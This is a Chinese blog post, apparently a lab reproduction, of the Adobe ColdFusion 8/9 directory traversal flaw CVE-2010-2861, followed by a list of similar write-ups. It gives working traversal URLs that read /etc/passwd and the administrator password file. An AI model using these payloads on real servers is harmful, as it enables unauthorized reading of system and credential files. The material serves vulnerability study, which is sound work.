Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)

于 2024-01-01 14:54:13 发布
阅读量666 收藏 9
点赞数 9
文章标签： 安全 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46239998/article/details/135325088
版权

漏洞原理

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。由于AJP协议设计存在缺陷导致内部相关的属性可控，攻击者可以构造属性值，使未授权的用户读取服务器任意文件获得敏感信息，甚至可以进行远程代码执行漏洞的利用。
Adobe ColdFusion 8、9版本中皆存在一处目录穿越漏洞。

一、环境搭建

二、访问

三、输入admin初始化环境

四、证明漏洞存在

http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en

五、漏洞利用，读取管理员密码

http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

管理员密码获取到了，就可以正常玩耍了！​

黄公子学安全
关注
  • 9
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2010-2861漏洞复现(ColdFusion未授权漏洞)
G_Fu_Q的博客
04-08 823
漏洞介绍: Adobe ColdFusion（直译：冷聚变），是一个动态Web服务器，其CFML（ColdFusion Markup Language）是一种程序设计语言，类似JSP里的JSTL（JSP Standard Tag Lib），从1995年开始开发，其设计思想被一些人认为非常先进，被一些语言所借鉴。 Coldfusion 最早是由 Allaire 公司开发的一种应用服务器平台，其运行的 CFML（ColdFusion Markup Language）针对Web应用的一种脚本语言。文件以*.c
coldfusion-10-11-xss:CVE-2015-0345 (APSB15-07) 的概念验证代码
05-31
此存储库包含 CVE-2015-0345 (APSB15-07) 的 XSS 向量，允许在 ColdFusion 安装上获得远程命令执行。 此漏洞仅对 ColdFusion 10 和 11 安装有效。 具体来说，ColdFusion 11, Update 11 和 ColdFusion 10, Update 16...
漏洞复现----17、Adobe ColdFusion目录遍历漏洞 (CVE-2010-2861)
七天
10-21 1064
文章目录一、漏洞介绍二、漏洞环境1、环境2、Payload三、漏洞复现1、logging/settings.cfm2、datasources/index.cfm3、j2eepackaging/editarchive.cfm4、CFIDE/administrator/settings/mappings.cfm5、CFIDE/administrator/enter.cfm四、特殊构造1、路径后不跟参数值，失败。2、路径后参数值为数字，成功。3、路径后参数值为字母，成功。4、路径后参数值为特殊符号，成功。 一、
09 - vulhub - Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)
易编橙 · 终身成长社群，相遇已是上上签！
10-19 3834
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。
Adobe ColdFusion 目录遍历漏洞 (CVE-2010-2861)
zzzzz1284的博客
01-04 330
CVE-2010-2861
vulhub：Adobe ColdFusion文件读取漏洞复现（CVE-2010-2861）
sszsNo1的博客
07-02 255
vulhub：Adobe ColdFusion文件读取漏洞（CVE-2010-2861）如何复现
Coldfusion-11-Application.cfc-Template:脚本样式 Application.cfc 模板，包含 Coldfusion 11 的所有方法
06-13
Coldfusion-11-Application.cfc-模板 包含 Coldfusion 11 的所有方法的脚本样式 Application.cfc 模板。 我对 Adob​​e 的文档和缺乏脚本风格的 Coldfusion 11 示例感到沮丧，所以我创建了这个。 如何使用 更改...
ColdFusion_Study.rar_ColdFusion stu_adobe coldfusion_coldfusion_
07-14
ColdFusion既是WEB服务器，也是一种WEB脚本语言，基于JAVA，非常...起源很早，大概1994年，原为一小公司产品，后为MacroMedia收购，现在Adobe。国内应用不多，国外好多企业都用的Coldfusion。如赛门铁克、ESRI等等。
ColdFusion-Realtime-With-WebSockets-Demo-Code:在 Realtime With WebSockets 演示中使用的演示代码
07-24
资产现场演示 UI 共享的 CSS 和 JavaScript 文件css js 聊天聊天演示html到coldfusion HTML 到 ColdFusion WebSocket 示例。 现场演示演示-01 最低要求演示-02 高级套接字示例其他演示文件socket.io （ ） 这是...
cf-tinymce:用于创建tinyMCE实例的ColdFusion函数-支持压缩和每页多个实例
04-29
概要ColdFusion函数用于创建tinyMCE实例-使用CFN并允许每页多个实例。 这是一个不错的基础，具有不错的默认设置。程式码范例要显示一个充满名为“ read”的查询的生物信息的RTE实例，请执行以下操作： <cfoutput>#...
[文件读取]coldfusion 文件读取 （CVE-2010-2861）
wj33333的博客
11-14 296
描述: Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。访问`http://your-ip:8500/CFIDE/administrator/enter.cfm`，可以看到初始化页面，输入密码`admin`，开始初始化整个环境。
CVE-2010-2861：Adobe ColdFusion 文件读取漏
Foreverlove112的博客
11-08 315
CVE-2010-2861：Adobe ColdFusion 文件读取漏
CVE-2010-2861（Adobe ColdFusion 文件读取漏洞）
浅笑996的博客
11-27 2592
漏洞介绍 Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。 Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。 环境搭建 https://blog.csdn.net/qq_36374896/article...
Adobe ColdFusion文件读取漏洞（CVE-2010-2861）
最新发布
m0_73605862的博客
12-01 538
2.看答案就是一层一层进行路径穿越攻击，这里要注意如果登陆进去后总是会自己跳转到index.cfm，所以得用bp抓包改包。尝试利用漏洞读取目标系统中的“opt/coldfusion8/license.txt"文件。4.然后是opt那个，因为一般opt和etc在同一级目录下，结果成功了。3.之前一直出不来，今天突然出来了，我真的无语死了。1.环境搭建（网上写的密码是admin，就用admin）3.路径穿越就出来了。
Adobe ColdFusion 文件读取漏洞
aa1281047341的博客
10-19 92
（CVE-2010-2861）漏洞复现
coldfusion文件读取漏洞（CVE-2010-2861）
1stPeak's Blog
07-28 868
1、直接访问http//your-ip8500/CFIDE/administrator/enter.cfm?/etc/passwd%00en，即可读取文件/etc/passwd。2、读取后台管理员密码http//your-ip8500/CFIDE/administrator/enter.cfm?/lib/password.properties%00en。AdobeColdFusion8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。解密password。...
Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）复现，python编写POC和EXP
wangqiao258的博客
09-30 463
Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）复现，python编写POC 环境搭建 使用vulhub，进入对应文件夹启动Adobe CanFusion 8.0.1版本服务器： [root@localhost ~]# cd /home/vulhub-master/coldfusion/CVE-2010-2861/ [root@localhost CVE-2010-2861]# docker-compose up -d 查看端口： [root@localhost ~]# d

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值